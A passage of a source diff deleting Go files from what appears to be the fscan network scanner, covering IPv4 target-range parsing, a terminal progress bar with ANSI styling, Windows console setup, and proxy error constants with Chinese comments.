-func parseIPRangeString(rangeStr string, maxTargets int) ([]string, error) {
-	parts := strings.Split(rangeStr, "-")
-	if len(parts) != 2 {
-		return nil, fmt.Errorf("无效的IP范围格式: %s", rangeStr)
-	}
-
-	startIPStr := strings.TrimSpace(parts[0])
-	endIPStr := strings.TrimSpace(parts[1])
-
-	startIP := net.ParseIP(startIPStr)
-	if startIP == nil {
-		return nil, fmt.Errorf("无效的起始IP地址: %s", startIPStr)
-	}
-
-	// 处理简写格式 (如: 192.168.1.1-100)
-	if len(endIPStr) < 4 || !strings.Contains(endIPStr, ".") {
-		return parseIPShortRange(startIPStr, endIPStr)
-	}
-
-	// 处理完整格式 (如: 192.168.1.1-192.168.1.100)
-	endIP := net.ParseIP(endIPStr)
-	if endIP == nil {
-		return nil, fmt.Errorf("无效的结束IP地址: %s", endIPStr)
-	}
-
-	return parseIPFullRange(startIP, endIP, maxTargets)
-}
-
-// parseIPShortRange 解析短格式IP范围
-func parseIPShortRange(startIPStr, endSuffix string) ([]string, error) {
-	endNum, err := strconv.Atoi(endSuffix)
-	if err != nil || endNum > 255 {
-		return nil, fmt.Errorf("无效的IP范围结束值: %s", endSuffix)
-	}
-
-	ipParts := strings.Split(startIPStr, ".")
-	if len(ipParts) != 4 {
-		return nil, fmt.Errorf("无效的IP地址格式: %s", startIPStr)
-	}
-
-	prefixIP := strings.Join(ipParts[0:3], ".")
-	startNum, err := strconv.Atoi(ipParts[3])
-	if err != nil || startNum > endNum {
-		return nil, fmt.Errorf("无效的IP范围: %s-%s", startIPStr, endSuffix)
-	}
-
-	var allIP []string
-	for i := startNum; i <= endNum; i++ {
-		allIP = append(allIP, fmt.Sprintf("%s.%d", prefixIP, i))
-	}
-
-	return allIP, nil
-}
-
-// parseIPFullRange 解析完整格式的IP范围
-func parseIPFullRange(startIP, endIP net.IP, maxTargets int) ([]string, error) {
-	start4 := startIP.To4()
-	end4 := endIP.To4()
-	if start4 == nil || end4 == nil {
-		return nil, fmt.Errorf("仅支持IPv4地址范围")
-	}
-
-	startInt := (int(start4[0]) << 24) | (int(start4[1]) << 16) | (int(start4[2]) << 8) | int(start4[3])
-	endInt := (int(end4[0]) << 24) | (int(end4[1]) << 16) | (int(end4[2]) << 8) | int(end4[3])
-
-	if startInt > endInt {
-		return nil, fmt.Errorf("起始IP大于结束IP")
-	}
-
-	var ips []string
-	current := make(net.IP, len(start4))
-	copy(current, start4)
-
-	count := 0
-	for {
-		ips = append(ips, current.String())
-		count++
-
-		if current.Equal(end4) || count >= maxTargets {
-			break
-		}
-		incrementIP(current)
-	}
-
-	return ips, nil
-}
-
-// incrementIP 计算下一个IP地址
-func incrementIP(ip net.IP) {
-	for j := len(ip) - 1; j >= 0; j-- {
-		ip[j]++
-		if ip[j] > 0 {
-			break
-		}
-	}
-}
-
-// excludeFromList 从列表中排除指定项
-func excludeFromList(hosts, excludeList []string) []string {
-	if len(excludeList) == 0 {
-		return hosts
-	}
-
-	excludeMap := make(map[string]struct{}, len(excludeList))
-	for _, e := range excludeList {
-		excludeMap[e] = struct{}{}
-	}
-
-	result := make([]string, 0, len(hosts))
-	for _, h := range hosts {
-		if _, found := excludeMap[h]; !found {
-			result = append(result, h)
-		}
-	}
-
-	return result
-}
-
-// removeDuplicateStrings 去除字符串重复项
-func removeDuplicateStrings(slice []string) []string {
-	if len(slice) == 0 {
-		return nil
-	}
-
-	seen := make(map[string]struct{}, len(slice))
-	result := make([]string, 0, len(slice))
-
-	for _, item := range slice {
-		if _, found := seen[item]; !found {
-			seen[item] = struct{}{}
-			result = append(result, item)
-		}
-	}
-
-	return result
-}
-
-// removeDuplicatePorts 去除端口重复项
-func removeDuplicatePorts(slice []int) []int {
-	if len(slice) == 0 {
-		return nil
-	}
-
-	seen := make(map[int]struct{}, len(slice))
-	result := make([]int, 0, len(slice))
-
-	for _, item := range slice {
-		if _, found := seen[item]; !found {
-			seen[item] = struct{}{}
-			result = append(result, item)
-		}
-	}
-
-	return result
-}
-
-// =============================================================================

common/progress_manager.go

@@ -1,704 +0,0 @@
-package common
-
-import (
-	"fmt"
-	"os"
-	"strings"
-	"sync"
-	"sync/atomic"
-	"time"
-	"unicode/utf8"
-
-	"golang.org/x/term"
-
-	"github.com/shadow1ng/fscan/common/i18n"
-)
-
-// 默认终端宽度
-const defaultTerminalWidth = 80
-
-/*
-ProgressManager.go - 固定底部进度条管理器
-
-提供固定在终端底部的进度条显示，与正常输出内容分离。
-使用终端控制码实现位置固定和内容保护。
-*/
-
-// ProgressManager 进度条管理器
-type ProgressManager struct {
-	mu              sync.RWMutex
-	enabled         bool
-	total           int64
-	current         int64
-	description     string
-	startTime       time.Time
-	isActive        bool
-	terminalHeight  int
-	reservedLines   int // 为进度条保留的行数
-	lastContentLine int // 最后一行内容的位置
-
-	// 输出缓冲相关
-	outputMutex sync.Mutex
-
-	// 活跃指示器相关
-	spinnerIndex     int
-	lastActivity     time.Time
-	activityTicker   *time.Ticker
-	stopActivityChan chan struct{}
-
-	// 进度条更新控制（减少 Windows 终端的重复输出）
-	lastRenderedPercent int
-
-	// 引用，避免读全局
-	state   *State
-	noColor bool
-}
-
-// =============================================================================
-// ANSI终端控制码常量
-// =============================================================================
-
-const (
-	// AnsiClearLine 光标和行控制 - 清除当前行并回到行首
-	AnsiClearLine = "\033[2K\r"
-	// AnsiMoveCursor 向上移动N行（格式化字符串）
-	AnsiMoveCursor = "\033[%dA"
-
-	// AnsiRed 颜色代码 - 红色文本
-	AnsiRed = "\033[31m"
-	// AnsiGreen 绿色文本
-	AnsiGreen = "\033[32m"
-	// AnsiYellow 黄色文本
-	AnsiYellow = "\033[33m"
-	// AnsiCyan 青色文本
-	AnsiCyan = "\033[36m"
-	// AnsiGray 灰色文本
-	AnsiGray = "\033[90m"
-	// AnsiReset 重置所有属性
-	AnsiReset = "\033[0m"
-)
-
-var (
-	globalProgressManager *ProgressManager
-	progressMutex         sync.Mutex
-
-	// 活跃指示器字符序列（旋转动画）
-	spinnerChars = []string{"|", "/", "-", "\\"}
-
-	// 活跃指示器更新间隔
-	activityUpdateInterval = 500 * time.Millisecond
-)
-
-// GetProgressManager 获取全局进度条管理器
-func GetProgressManager() *ProgressManager {
-	progressMutex.Lock()
-	defer progressMutex.Unlock()
-
-	if globalProgressManager == nil {
-		globalProgressManager = &ProgressManager{
-			enabled:        true,
-			reservedLines:  2, // 保留2行：进度条 + 空行
-			terminalHeight: getTerminalHeight(),
-		}
-	}
-	return globalProgressManager
-}
-
-// InitProgress 初始化进度条
-func (pm *ProgressManager) InitProgress(total int64, description string) {
-	cfg := GetGlobalConfig()
-	if cfg.Output.DisableProgress || cfg.Output.Silent {
-		pm.enabled = false
-		return
-	}
-	pm.state = GetGlobalState()
-	pm.noColor = cfg.Output.NoColor
-
-	pm.mu.Lock()
-	defer pm.mu.Unlock()
-
-	pm.total = total
-	pm.current = 0
-	pm.description = description
-	pm.startTime = time.Now()
-	pm.isActive = true
-	pm.enabled = true
-	pm.lastActivity = time.Now()
-	pm.spinnerIndex = 0
-	pm.lastRenderedPercent = -1 // 强制首次渲染
-
-	// 为进度条保留空间
-	pm.setupProgressSpace()
-
-	// 启动活跃指示器
-	pm.startActivityIndicator()
-
-	// 初始显示进度条
-	pm.renderProgress()
-}
-
-// UpdateProgress 更新进度
-func (pm *ProgressManager) UpdateProgress(increment int64) {
-	if !pm.enabled || !pm.isActive {
-		return
-	}
-
-	// 原子累加，避免高并发下的锁竞争
-	newCurrent := atomic.AddInt64(&pm.current, increment)
-	if newCurrent > pm.total {
-		atomic.StoreInt64(&pm.current, pm.total)
-	}
-
-	// 节流渲染：距上次渲染不足 50ms 则跳过
-	now := time.Now()
-	pm.mu.RLock()
-	lastAct := pm.lastActivity
-	pm.mu.RUnlock()
-	if now.Sub(lastAct) < 50*time.Millisecond {
-		return
-	}
-
-	pm.mu.Lock()
-	pm.lastActivity = now
-	pm.mu.Unlock()
-
-	pm.renderProgress()
-}
-
-// =============================================================================================
-// 已删除的死代码（未使用）：SetProgress 设置当前进度
-// =============================================================================================
-
-// FinishProgress 完成进度条
-func (pm *ProgressManager) FinishProgress() {
-	if !pm.enabled || !pm.isActive {
-		return
-	}
-
-	pm.mu.Lock()
-	defer pm.mu.Unlock()
-
-	atomic.StoreInt64(&pm.current, pm.total)
-	pm.renderProgress()
-
-	// 停止活跃指示器
-	pm.stopActivityIndicator()
-
-	// 显示完成信息
-	pm.showCompletionInfo()
-
-	// 清理进度条区域，恢复正常输出
-	pm.clearProgressArea()
-	pm.isActive = false
-}
-
-// setupProgressSpace 设置进度条空间
-func (pm *ProgressManager) setupProgressSpace() {
-	// 简化设计：进度条在原地更新，不需要预留额外空间
-	// 只是标记进度条开始的位置
-	pm.lastContentLine = 0
-}
-
-// =============================================================================================
-// 已删除的死代码（未使用）：moveToContentArea 和 moveToProgressLine 方法
-// =============================================================================================
-
-// renderProgress 渲染进度条（使用锁避免输出冲突）
-func (pm *ProgressManager) renderProgress() {
-	pm.outputMutex.Lock()
-	defer pm.outputMutex.Unlock()
-
-	pm.renderProgressUnsafe()
-}
-
-// generateProgressBar 生成进度条字符串
-// 根据终端宽度动态调整内容，确保不超过一行
-func (pm *ProgressManager) generateProgressBar() string {
-	termWidth := getTerminalWidth()
-
-	// 获取发包统计
-	packetInfo := pm.getPacketInfo()
-
-	if pm.total == 0 {
-		spinner := pm.getActivityIndicator()
-		base := fmt.Sprintf("%s %s 等待中...", pm.description, spinner)
-		if packetInfo != "" {
-			return base + " " + packetInfo
-		}
-		return base
-	}
-
-	percentage := float64(atomic.LoadInt64(&pm.current)) / float64(pm.total) * 100
-	elapsed := time.Since(pm.startTime)
-	current := atomic.LoadInt64(&pm.current)
-
-	// 计算速度
-	speed := float64(current) / elapsed.Seconds()
-	speedStr := ""
-	if speed > 0 {
-		speedStr = fmt.Sprintf(" %.0f/s", speed)
-	}
-
-	// 计算预估剩余时间
-	var eta string
-	if current > 0 && current < pm.total {
-		totalTime := elapsed * time.Duration(pm.total) / time.Duration(current)
-		remaining := totalTime - elapsed
-		if remaining > 0 {
-			eta = fmt.Sprintf(" ETA:%s", formatDuration(remaining))
-		}
-	}
-
-	// 活跃指示器
-	spinner := pm.getActivityIndicator()
-
-	// 计算固定部分的宽度
-	fixedPart := fmt.Sprintf("%s %s %5.1f%% [] (%d/%d)%s%s %s",
-		pm.description, spinner, percentage, current, pm.total, speedStr, eta, packetInfo)
-	fixedWidth := displayWidth(fixedPart)
-
-	// 计算进度条槽位可用宽度（预留2字符余量）
-	barWidth := termWidth - fixedWidth - 2
-	if barWidth < 10 {
-		barWidth = 10 // 最小进度条宽度
-	}
-	if barWidth > 30 {
-		barWidth = 30 // 最大进度条宽度
-	}
-
-	// 生成进度条
-	filled := int(percentage * float64(barWidth) / 100)
-	if filled > barWidth {
-		filled = barWidth
-	}
-
-	bar := "[" + strings.Repeat("=", filled)
-	if filled < barWidth {
-		bar += ">"
-		bar += strings.Repeat("-", barWidth-filled-1)
-	}
-	bar += "]"
-
-	// 构建最终进度条
-	result := fmt.Sprintf("%s %s %5.1f%% %s (%d/%d)%s%s",
-		pm.description, spinner, percentage, bar, current, pm.total, speedStr, eta)
-
-	if packetInfo != "" {
-		result += " " + packetInfo
-	}
-
-	return result
-}
-
-// getPacketInfo 获取发包统计信息（简化版）
-func (pm *ProgressManager) getPacketInfo() string {
-	if pm.state == nil {
-		return ""
-	}
-	packetCount := pm.state.GetPacketCount()
-	if packetCount == 0 {
-		return ""
-	}
-
-	tcpSuccess := pm.state.GetTCPSuccessPacketCount()
-	tcpFailed := pm.state.GetTCPFailedPacketCount()
-
-	// 简化格式：TCP:成功/失败
-	if tcpSuccess > 0 || tcpFailed > 0 {
-		return fmt.Sprintf("TCP:%d/%d", tcpSuccess, tcpFailed)
-	}
-
-	return fmt.Sprintf("Pkt:%d", packetCount)
-}
-
-// showCompletionInfo 显示完成信息
-func (pm *ProgressManager) showCompletionInfo() {
-	elapsed := time.Since(pm.startTime)
-
-	// 换行并显示完成信息
-	fmt.Print("\n")
-
-	completionMsg := i18n.GetText("progress_scan_completed")
-	if pm.noColor {
-		fmt.Printf("[完成] %s %d/%d (耗时: %s)\n",
-			completionMsg, pm.total, pm.total, formatDuration(elapsed))
-	} else {
-		fmt.Printf("%s[完成] %s %d/%d%s %s(耗时: %s)%s\n",
-			AnsiGreen, completionMsg, pm.total, pm.total, AnsiReset,
-			AnsiGray, formatDuration(elapsed), AnsiReset)
-	}
-}
-
-// clearProgressArea 清理进度条区域
-func (pm *ProgressManager) clearProgressArea() {
-	// 简单清除当前行
-	fmt.Print(AnsiClearLine)
-}
-
-// IsActive 检查进度条是否活跃
-func (pm *ProgressManager) IsActive() bool {
-	pm.mu.RLock()
-	defer pm.mu.RUnlock()
-	return pm.isActive && pm.enabled
-}
-
-// getTerminalHeight 获取终端高度
-func getTerminalHeight() int {
-	return 0
-}
-
-// getTerminalWidth 获取终端宽度
-func getTerminalWidth() int {
-	width, _, err := term.GetSize(int(os.Stdout.Fd()))
-	if err != nil || width <= 0 {
-		return defaultTerminalWidth
-	}
-	return width
-}
-
-// displayWidth 计算字符串的显示宽度（中文字符占2列）
-func displayWidth(s string) int {
-	width := 0
-	for _, r := range s {
-		if r >= 0x4E00 && r <= 0x9FFF || // CJK统一汉字
-			r >= 0x3000 && r <= 0x303F || // CJK标点
-			r >= 0xFF00 && r <= 0xFFEF { // 全角字符
-			width += 2
-		} else if r >= 0x2600 && r <= 0x27BF || // 杂项符号
-			r >= 0x2700 && r <= 0x27BF { // 装饰符号
-			width += 2
-		} else {
-			width += 1
-		}
-	}
-	return width
-}
-
-// truncateToWidth 截断字符串到指定显示宽度
-func truncateToWidth(s string, maxWidth int) string {
-	if maxWidth <= 0 {
-		return ""
-	}
-
-	currentWidth := 0
-	result := strings.Builder{}
-
-	for _, r := range s {
-		var charWidth int
-		if r >= 0x4E00 && r <= 0x9FFF ||
-			r >= 0x3000 && r <= 0x303F ||
-			r >= 0xFF00 && r <= 0xFFEF ||
-			r >= 0x2600 && r <= 0x27BF ||
-			r >= 0x2700 && r <= 0x27BF {
-			charWidth = 2
-		} else {
-			charWidth = 1
-		}
-
-		if currentWidth+charWidth > maxWidth {
-			break
-		}
-		result.WriteRune(r)
-		currentWidth += charWidth
-	}
-
-	return result.String()
-}
-
-// stripAnsiCodes 移除 ANSI 转义码，用于计算实际显示宽度
-func stripAnsiCodes(s string) string {
-	result := strings.Builder{}
-	inEscape := false
-
-	for i := 0; i < len(s); {
-		if s[i] == '\033' && i+1 < len(s) && s[i+1] == '[' {
-			inEscape = true
-			i += 2
-			continue
-		}
-		if inEscape {
-			if (s[i] >= 'A' && s[i] <= 'Z') || (s[i] >= 'a' && s[i] <= 'z') {
-				inEscape = false
-			}
-			i++
-			continue
-		}
-		r, size := utf8.DecodeRuneInString(s[i:])
-		result.WriteRune(r)
-		i += size
-	}
-
-	return result.String()
-}
-
-// formatDuration 格式化时间间隔
-func formatDuration(d time.Duration) string {
-	if d < time.Minute {
-		return fmt.Sprintf("%.1fs", d.Seconds())
-	}
-	if d < time.Hour {
-		return fmt.Sprintf("%.1fm", d.Minutes())
-	}
-	return fmt.Sprintf("%.1fh", d.Hours())
-}
-
-// InitProgressBar 初始化进度条（全局函数，方便其他模块调用）
-func InitProgressBar(total int64, description string) {
-	GetProgressManager().InitProgress(total, description)
-}
-
-// UpdateProgressBar 更新进度条
-func UpdateProgressBar(increment int64) {
-	GetProgressManager().UpdateProgress(increment)
-}
-
-// =============================================================================================
-// 已删除的死代码（未使用）：SetProgressBar 全局函数
-// =============================================================================================
-
-// FinishProgressBar 完成进度条
-func FinishProgressBar() {
-	GetProgressManager().FinishProgress()
-}
-
-// IsProgressActive 检查进度条是否活跃
-func IsProgressActive() bool {
-	return GetProgressManager().IsActive()
-}
-
-// GetProgressPercent 获取当前进度百分比 (0-100)
-func GetProgressPercent() float64 {
-	return GetProgressManager().GetPercent()
-}
-
-// GetPercent 获取当前进度百分比
-func (pm *ProgressManager) GetPercent() float64 {
-	pm.mu.RLock()
-	defer pm.mu.RUnlock()
-
-	if !pm.isActive || pm.total == 0 {
-		return 0
-	}
-	return float64(atomic.LoadInt64(&pm.current)) / float64(pm.total) * 100
-}
-
-// =============================================================================
-// 日志输出协调功能
-// =============================================================================
-
-// LogWithProgress 在进度条活跃时协调日志输出
-func LogWithProgress(message string) {
-	if cfg := GetGlobalConfig(); cfg != nil && cfg.Output.Silent {
-		return
-	}
-
-	pm := GetProgressManager()
-	if !pm.IsActive() {
-		// 如果进度条不活跃，直接输出
-		fmt.Println(message)
-		return
-	}
-
-	pm.outputMutex.Lock()
-	defer pm.outputMutex.Unlock()
-
-	// 清除当前行（清除进度条）
-	// Windows 通过 progress_manager_win.go 已启用 ANSI 支持
-	fmt.Print(AnsiClearLine)
-
-	// 输出日志消息
-	fmt.Println(message)
-
-	// 不重绘进度条，等待下次 UpdateProgress 自动绘制
-}
-
-// renderProgressUnsafe 不加锁的进度条渲染（内部使用）
-func (pm *ProgressManager) renderProgressUnsafe() {
-	if !pm.enabled || !pm.isActive {
-		return
-	}
-
-	// 计算当前百分比（避免除零）
-	currentPercent := 0
-	if pm.total > 0 {
-		currentPercent = int((atomic.LoadInt64(&pm.current) * 100) / pm.total)
-	}
-
-	// 只在百分比变化时更新，减少不必要的渲染
-	if currentPercent == pm.lastRenderedPercent && currentPercent < 100 {
-		return
-	}
-	pm.lastRenderedPercent = currentPercent
-
-	// 获取终端宽度
-	termWidth := getTerminalWidth()
-
-	// 生成进度条内容
-	progressBar := pm.generateProgressBar()
-
-	// 计算实际显示宽度（去除 ANSI 码后）
-	plainBar := stripAnsiCodes(progressBar)
-	actualWidth := displayWidth(plainBar)
-
-	// 如果超过终端宽度，截断内容
-	// 预留 1 字符防止边界问题
-	maxWidth := termWidth - 1
-	if actualWidth > maxWidth {
-		// 截断纯文本部分
-		progressBar = truncateToWidth(plainBar, maxWidth)
-	}
-
-	// 清除当前行并移动到行首
-	// 使用空格覆盖旧内容，确保不留残留
-	clearStr := "\r" + strings.Repeat(" ", termWidth-1) + "\r"
-	fmt.Print(clearStr)
-
-	// 输出进度条（带颜色，如果启用）
-	if pm.noColor {
-		fmt.Print(progressBar)
-	} else {
-		fmt.Printf("%s%s%s", AnsiCyan, progressBar, AnsiReset)
-	}
-
-	// 刷新输出
-	_ = os.Stdout.Sync()
-}
-
-// =============================================================================
-// 活跃指示器相关方法
-// =============================================================================
-
-// startActivityIndicator 启动活跃指示器
-func (pm *ProgressManager) startActivityIndicator() {
-	// 防止重复启动
-	if pm.activityTicker != nil {
-		return
-	}
-
-	pm.activityTicker = time.NewTicker(activityUpdateInterval)
-	pm.stopActivityChan = make(chan struct{})
-
-	go func() {
-		for {
-			select {
-			case <-pm.activityTicker.C:
-				// 只有在活跃状态下才更新指示器
-				if pm.isActive && pm.enabled {
-					pm.mu.Lock()
-					pm.spinnerIndex = (pm.spinnerIndex + 1) % len(spinnerChars)
-					pm.mu.Unlock()
-
-					// 只有在长时间没有进度更新时才重新渲染
-					// 这样可以避免频繁更新时的性能问题
-					if time.Since(pm.lastActivity) > 2*time.Second {
-						pm.renderProgress()
-					}
-				}
-			case <-pm.stopActivityChan:
-				return
-			}
-		}
-	}()
-}
-
-// stopActivityIndicator 停止活跃指示器
-func (pm *ProgressManager) stopActivityIndicator() {
-	if pm.activityTicker != nil {
-		pm.activityTicker.Stop()
-		pm.activityTicker = nil
-	}
-
-	if pm.stopActivityChan != nil {
-		close(pm.stopActivityChan)
-		pm.stopActivityChan = nil
-	}
-}
-
-// getActivityIndicator 获取当前活跃指示器字符
-func (pm *ProgressManager) getActivityIndicator() string {
-	// 如果最近有活动（2秒内），显示静态指示器
-	if time.Since(pm.lastActivity) <= 2*time.Second {
-		return "●" // 实心圆表示活跃
-	}
-
-	// 如果长时间没有活动，显示旋转指示器表明程序仍在运行
-	return spinnerChars[pm.spinnerIndex]
-}
-
-// =============================================================================
-// 并发监控器 (从 concurrency_monitor.go 合并)
-// =============================================================================
-
-/*
-ConcurrencyMonitor - 并发监控器
-
-监控两个层级的并发：
-1. 主扫描器线程数 (-t 参数控制)
-2. 插件内连接线程数 (-mt 参数控制)
-*/
-
-// ConcurrencyMonitor 并发监控器
-type ConcurrencyMonitor struct {
-	// 主扫描器层级
-	activePluginTasks int64 // 当前活跃的插件任务数
-	totalPluginTasks  int64 // 总插件任务数
-
-	// 插件内连接层级已移除 - 原代码为死代码，无任何调用者
-}
-
-// 已移除 PluginConnectionInfo 结构体 - 原为死代码，无任何使用
-
-var (
-	globalConcurrencyMonitor *ConcurrencyMonitor
-	concurrencyMutex         sync.Once
-)
-
-// GetConcurrencyMonitor 获取全局并发监控器
-func GetConcurrencyMonitor() *ConcurrencyMonitor {
-	concurrencyMutex.Do(func() {
-		globalConcurrencyMonitor = &ConcurrencyMonitor{
-			activePluginTasks: 0,
-			totalPluginTasks:  0,
-		}
-	})
-	return globalConcurrencyMonitor
-}
-
-// =============================================================================
-// 主扫描器层级监控
-// =============================================================================
-
-// StartPluginTask 开始插件任务
-func (m *ConcurrencyMonitor) StartPluginTask() {
-	atomic.AddInt64(&m.activePluginTasks, 1)
-	atomic.AddInt64(&m.totalPluginTasks, 1)
-}
-
-// FinishPluginTask 完成插件任务
-func (m *ConcurrencyMonitor) FinishPluginTask() {
-	atomic.AddInt64(&m.activePluginTasks, -1)
-}
-
-// GetPluginTaskStats 获取插件任务统计
-func (m *ConcurrencyMonitor) GetPluginTaskStats() (active int64, total int64) {
-	return atomic.LoadInt64(&m.activePluginTasks), atomic.LoadInt64(&m.totalPluginTasks)
-}
-
-// =============================================================================
-// 已移除插件内连接层级监控 - 原为死代码，无任何调用者
-// =============================================================================
-
-// 已移除未使用的 Reset 方法
-
-// GetConcurrencyStatus 获取并发状态字符串
-func (m *ConcurrencyMonitor) GetConcurrencyStatus() string {
-	activePlugins, _ := m.GetPluginTaskStats()
-
-	if activePlugins == 0 {
-		return ""
-	}
-
-	return fmt.Sprintf("%s:%d", i18n.GetText("concurrency_plugin"), activePlugins)
-}
-
-// 已移除未使用的 GetDetailedStatus 方法

common/progress_manager_win.go

@@ -1,24 +0,0 @@
-//go:build windows
-
-package common
-
-import (
-	"os"
-
-	"golang.org/x/sys/windows"
-)
-
-// init 在包加载时自动启用 Windows 终端的 ANSI 支持
-func init() {
-	enableVirtualTerminalProcessing()
-}
-
-// enableVirtualTerminalProcessing 启用 Windows 控制台的虚拟终端处理
-// 使 Windows 终端支持 ANSI 转义码（如 \r, \033[2K 等）
-func enableVirtualTerminalProcessing() {
-	handle := windows.Handle(os.Stdout.Fd())
-
-	var mode uint32
-	_ = windows.GetConsoleMode(handle, &mode)
-	_ = windows.SetConsoleMode(handle, mode|windows.ENABLE_VIRTUAL_TERMINAL_PROCESSING)
-}

common/proxy/constants.go

@@ -1,218 +0,0 @@
-package proxy
-
-import (
-	"time"
-)
-
-/*
-constants.go - 代理系统常量定义
-
-统一管理common/proxy包中的所有常量，便于查看和编辑。
-*/
-
-// =============================================================================
-// 代理类型常量 (从Types.go迁移)
-// =============================================================================
-
-const (
-	// ProxyTypeStringNone 代理类型字符串 - 无代理
-	ProxyTypeStringNone = "none"
-	// ProxyTypeStringHTTP HTTP代理
-	ProxyTypeStringHTTP = "http"
-	// ProxyTypeStringHTTPS HTTPS代理
-	ProxyTypeStringHTTPS = "https"
-	// ProxyTypeStringSOCKS5 SOCKS5代理
-	ProxyTypeStringSOCKS5 = "socks5"
-	// ProxyTypeStringUnknown 未知代理类型
-	ProxyTypeStringUnknown = "unknown"
-)
-
-// =============================================================================
-// 默认配置常量 (从Types.go迁移)
-// =============================================================================
-
-const (
-	// DefaultProxyTimeout 默认代理配置值 - 默认超时时间
-	DefaultProxyTimeout = 30 * time.Second
-	// DefaultProxyMaxRetries 默认最大重试次数
-	DefaultProxyMaxRetries = 3
-	// DefaultProxyKeepAlive 默认保持连接时间
-	DefaultProxyKeepAlive = 30 * time.Second
-	// DefaultProxyIdleTimeout 默认空闲超时时间
-	DefaultProxyIdleTimeout = 90 * time.Second
-	// DefaultProxyMaxIdleConns 默认最大空闲连接数
-	DefaultProxyMaxIdleConns = 10
-)
-
-// =============================================================================
-// 错误类型常量 (从Types.go迁移)
-// =============================================================================
-
-const (
-	// ErrTypeConfig 预定义错误类型 - 配置错误
-	ErrTypeConfig = "config_error"
-	// ErrTypeConnection 连接错误
-	ErrTypeConnection = "connection_error"
-	// ErrTypeAuth 认证错误
-	ErrTypeAuth = "auth_error"
-	// ErrTypeTimeout 超时错误
-	ErrTypeTimeout = "timeout_error"
-	// ErrTypeProtocol 协议错误
-	ErrTypeProtocol = "protocol_error"
-)
-
-// =============================================================================
-// 缓存管理常量 (从Manager.go迁移)
-// =============================================================================
-
-const (
-	// DefaultCacheExpiry 缓存配置 - 默认缓存过期时间
-	DefaultCacheExpiry = 5 * time.Minute
-)
-
-// =============================================================================
-// 错误代码常量 (从Manager.go和其他文件迁移)
-// =============================================================================
-
-const (
-	// ErrCodeUnsupportedProxyType Manager错误代码 - 不支持的代理类型
-	ErrCodeUnsupportedProxyType = 1001
-	// ErrCodeEmptyConfig 配置为空
-	ErrCodeEmptyConfig = 1002
-
-	// ErrCodeSOCKS5ParseFailed SOCKS5错误代码 - 地址解析失败
-	ErrCodeSOCKS5ParseFailed = 2001
-	// ErrCodeSOCKS5CreateFailed 拨号器创建失败
-	ErrCodeSOCKS5CreateFailed = 2002
-
-	// ErrCodeDirectConnFailed 直连错误代码 - 直连失败
-	ErrCodeDirectConnFailed = 3001
-	// ErrCodeSOCKS5ConnTimeout SOCKS5连接超时
-	ErrCodeSOCKS5ConnTimeout = 3002
-	// ErrCodeSOCKS5ConnFailed SOCKS5连接失败
-	ErrCodeSOCKS5ConnFailed = 3003
-
-	// ErrCodeHTTPConnFailed HTTP代理错误代码 - 连接失败
-	ErrCodeHTTPConnFailed = 4001
-	// ErrCodeHTTPSetWriteTimeout 设置写超时失败
-	ErrCodeHTTPSetWriteTimeout = 4002
-	// ErrCodeHTTPSendConnectFail 发送CONNECT请求失败
-	ErrCodeHTTPSendConnectFail = 4003
-	// ErrCodeHTTPSetReadTimeout 设置读超时失败
-	ErrCodeHTTPSetReadTimeout = 4004
-	// ErrCodeHTTPReadRespFailed 读取响应失败
-	ErrCodeHTTPReadRespFailed = 4005
-	// ErrCodeHTTPProxyAuthFailed 代理认证失败
-	ErrCodeHTTPProxyAuthFailed = 4006
-
-	// ErrCodeTLSTCPConnFailed TLS错误代码 - TCP连接失败
-	ErrCodeTLSTCPConnFailed = 5001
-	// ErrCodeTLSHandshakeFailed TLS握手失败
-	ErrCodeTLSHandshakeFailed = 5002
-)
-
-// =============================================================================
-// HTTP协议常量 (从HTTPDialer.go迁移)
-// =============================================================================
-
-const (
-	// HTTPStatusOK HTTP响应状态码 - 成功状态码200
-	HTTPStatusOK = 200
-
-	// HTTPVersion HTTP协议常量 - HTTP版本
-	HTTPVersion = "HTTP/1.1"
-	// HTTPMethodConnect CONNECT方法
-	HTTPMethodConnect = "CONNECT"
-
-	// HTTPHeaderHost HTTP头部常量 - Host头
-	HTTPHeaderHost = "Host"
-	// HTTPHeaderProxyAuth Proxy-Authorization头
-	HTTPHeaderProxyAuth = "Proxy-Authorization"
-	// HTTPHeaderAuthBasic Basic认证方式
-	HTTPHeaderAuthBasic = "Basic"
-)
-
-// =============================================================================
-// 网络协议常量 (从各文件迁移)
-// =============================================================================
-
-const (
-	// NetworkTCP 网络协议 - TCP协议
-	NetworkTCP = "tcp"
-
-	// ProxyProtocolSOCKS5 代理协议前缀 - SOCKS5协议
-	ProxyProtocolSOCKS5 = "socks5"
-
-	// AuthSeparator 认证分隔符 - 冒号分隔符
-	AuthSeparator = ":"
-)
-
-// =============================================================================
-// 错误消息常量
-// =============================================================================
-
-const (
-	// ErrMsgUnsupportedProxyType Manager错误消息 - 不支持的代理类型
-	ErrMsgUnsupportedProxyType = "不支持的代理类型"
-	// ErrMsgEmptyConfig 配置不能为空
-	ErrMsgEmptyConfig = "配置不能为空"
-
-	// ErrMsgSOCKS5ParseFailed SOCKS5错误消息 - 地址解析失败
-	ErrMsgSOCKS5ParseFailed = "SOCKS5代理地址解析失败"
-	// ErrMsgSOCKS5CreateFailed 拨号器创建失败
-	ErrMsgSOCKS5CreateFailed = "SOCKS5拨号器创建失败"
-	// ErrMsgSOCKS5ConnTimeout 连接超时
-	ErrMsgSOCKS5ConnTimeout = "SOCKS5连接超时"
-	// ErrMsgSOCKS5ConnFailed 连接失败
-	ErrMsgSOCKS5ConnFailed = "SOCKS5连接失败"
-
-	// ErrMsgDirectConnFailed 直连错误消息 - 直连失败
-	ErrMsgDirectConnFailed = "直连失败"
-
-	// ErrMsgHTTPConnFailed HTTP代理错误消息 - 连接失败
-	ErrMsgHTTPConnFailed = "连接HTTP代理服务器失败"
-	// ErrMsgHTTPSetWriteTimeout 设置写超时失败
-	ErrMsgHTTPSetWriteTimeout = "设置写超时失败"
-	// ErrMsgHTTPSendConnectFail 发送CONNECT请求失败
-	ErrMsgHTTPSendConnectFail = "发送CONNECT请求失败"
-	// ErrMsgHTTPSetReadTimeout 设置读超时失败
-	ErrMsgHTTPSetReadTimeout = "设置读超时失败"
-	// ErrMsgHTTPReadRespFailed 读取响应失败
-	ErrMsgHTTPReadRespFailed = "读取HTTP响应失败"
-	// ErrMsgHTTPProxyAuthFailed 代理认证失败
-	ErrMsgHTTPProxyAuthFailed = "HTTP代理连接失败，状态码: %d"
-
-	// ErrMsgTLSTCPConnFailed TLS错误消息 - TCP连接失败
-	ErrMsgTLSTCPConnFailed = "建立TCP连接失败"
